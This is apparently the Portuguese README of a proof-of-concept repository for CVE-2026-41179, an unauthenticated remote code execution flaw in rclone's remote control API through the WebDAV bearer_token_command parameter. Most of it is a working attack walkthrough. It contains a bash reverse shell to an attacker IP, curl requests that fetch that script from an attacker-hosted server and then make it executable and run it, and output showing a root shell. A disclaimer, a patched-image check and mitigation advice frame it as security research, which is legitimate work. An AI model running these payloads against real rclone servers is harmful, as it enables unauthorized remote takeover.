
PoC para CVE-2026-41179
⚠️ APENAS PARA FINS EDUCACIONAIS Este repositório destina-se estritamente a pesquisa de segurança, educação e ambientes de laboratório autorizados. A PSSec e os contribuidores deste repositório não aprovam, apoiam nem assumem qualquer responsabilidade por qualquer uso não autorizado, ilegal ou malicioso das informações, código ou técnicas aqui contidas. Ao usar este repositório, você concorda que é o único responsável por suas ações e que testará apenas sistemas que possui ou para os quais tenha permissão explícita por escrito.
CVE-2026-41179 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) não autenticada na API de Controle Remoto (RC) incorporada do rclone, afetando as versões 1.48.0 a 1.73.4.
| Detalhe | Valor |
|---|
| CVE | CVE-2026-41179 |
| Pontuação CVSS | 9.8 (Crítico) |
| Versões Afetadas | rclone 1.48.0 – 1.73.4 |
| Versão Corrigida | rclone 1.73.5 |
| Componente | API RC (endpoint /operations/fsinfo) |
| Vetor de Ataque | Rede — nenhuma autenticação necessária |
O rclone vem com uma interface de controle remoto HTTP integrada (rcd). O endpoint /operations/fsinfo aceita uma string fs= fornecida pelo usuário que é analisada e usada para instanciar um backend — incluindo o backend WebDAV. O backend WebDAV suporta um parâmetro bearer_token_command, que é passado diretamente para exec.Command() sem sanitização. Como nenhuma autenticação é necessária neste endpoint por padrão, um atacante não autenticado pode desencadear a execução arbitrária de comandos do sistema operacional como o usuário do processo rclone.
Cadeia de ataque em resumo:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Constrói um contêiner Debian-slim executando rclone v1.69.3 com a API RC exposta na porta 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
A API RC agora está acessível sem autenticação em http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
Edite o poc.sh e defina seu IP de atacante e porta de escuta:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Execute isso a partir do mesmo diretório que poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Verifique seu listener — você deve receber um shell root do contêiner:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Repita os Passos 1–8 usando a imagem corrigida para confirmar que a vulnerabilidade foi corrigida:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Envie a mesma requisição curl para a porta 5573 — o comando não deve ser executado.
rcd com as flags --rc-user e --rc-pass para exigir credenciais.5572) através de regras de firewall — ela nunca deve ser exposta a redes não confiáveis.--rc-no-auth=false (o novo padrão em versões corrigidas) explicitamente em scripts de inicialização.Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. O código de prova de conceito demonstra uma vulnerabilidade real em um ambiente de laboratório Docker controlado.
PSSec e todos os contribuidores:
O uso não autorizado deste código contra sistemas de produção ou sistemas que você não possui pode violar as leis de fraude informática e crimes cibernéticos em sua jurisdição.
CVE-2026-41179 — Pesquisa por PSSec